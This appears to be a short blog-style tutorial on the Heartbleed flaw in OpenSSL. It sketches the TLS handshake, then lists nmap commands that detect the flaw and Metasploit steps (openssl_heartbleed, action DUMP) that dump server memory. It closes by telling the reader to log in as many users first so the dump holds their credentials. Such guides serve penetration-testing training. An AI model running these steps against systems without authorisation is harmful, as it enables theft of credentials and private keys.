- Heartbleed Attack: -
- OpenSSL is a software library that implements the SSL (secure sockets layer) and TLS (transport layer security) web security protocols.
- SSL and TLS are methods for using cryptography to secure communication between two parties. Although there are some important differences at a technical level (and SSL has largely been made obsolete in favor of the more secure TLS), they both work essentially the same way. (In fact, many people simply refer to both protocols as “SSL.”)
- Once a connection is made between a client and server, the client requests a secure connection. It requests information about what types of cryptographic security the client supports.
- The server chooses the most secure option that both the server and client support, and then sends a security certificate signed with the server’s public key.
- The client verifies the certificate and generates a secret key to send to the server, encrypted with the server’s public key.
- The client and server use the secret key to generate a pair of symmetric keys (or two pairs of public-private keys), and communication commences securely.
- Attack chain: -
- Attack surface: -
- We can always check SSL or HTTPS ports, scan with the help of nmap.
- nmap -sS <<target ip address>> -p<<port number>> -sV
- nmap = tool name
- -sS = sync scan
- <<ip address>> = eg: - 10.10.10.10
- <<port number>> = 443, 4443 etc.
- -sV = for service and version running
- Nmap -sS <<target ip address>> -p<<port number>> --script ssl-heartbleed
- --script = to use nse scripts.
- ssl-heartbleed = one of the scripts from nse. Multiple scripts are available. With this we will be able to find out whether it is vulnerable or not.
- If it is vulnerable then, use metasploit ( multiple tools are there but metasploit is most easiest).
- msfconsole -q (to run metasploit in kali, -q is quite mode)
- Use auxiliary/scanner/ssl/openssl/openssl_heartbleed
- show actions - 3 options - DUMP, KEYS, SCAN will be visible.
- set action DUMP - to dump/save the memory data.
- Show options: -
- Set rhost and rport and other things required if any.
- Before going forward, make sure you have logged in the application multiple times with all possible users.
- run in the metasploit. File will be saved.
- Check the file for sensitive details we received.
Comments
Post a Comment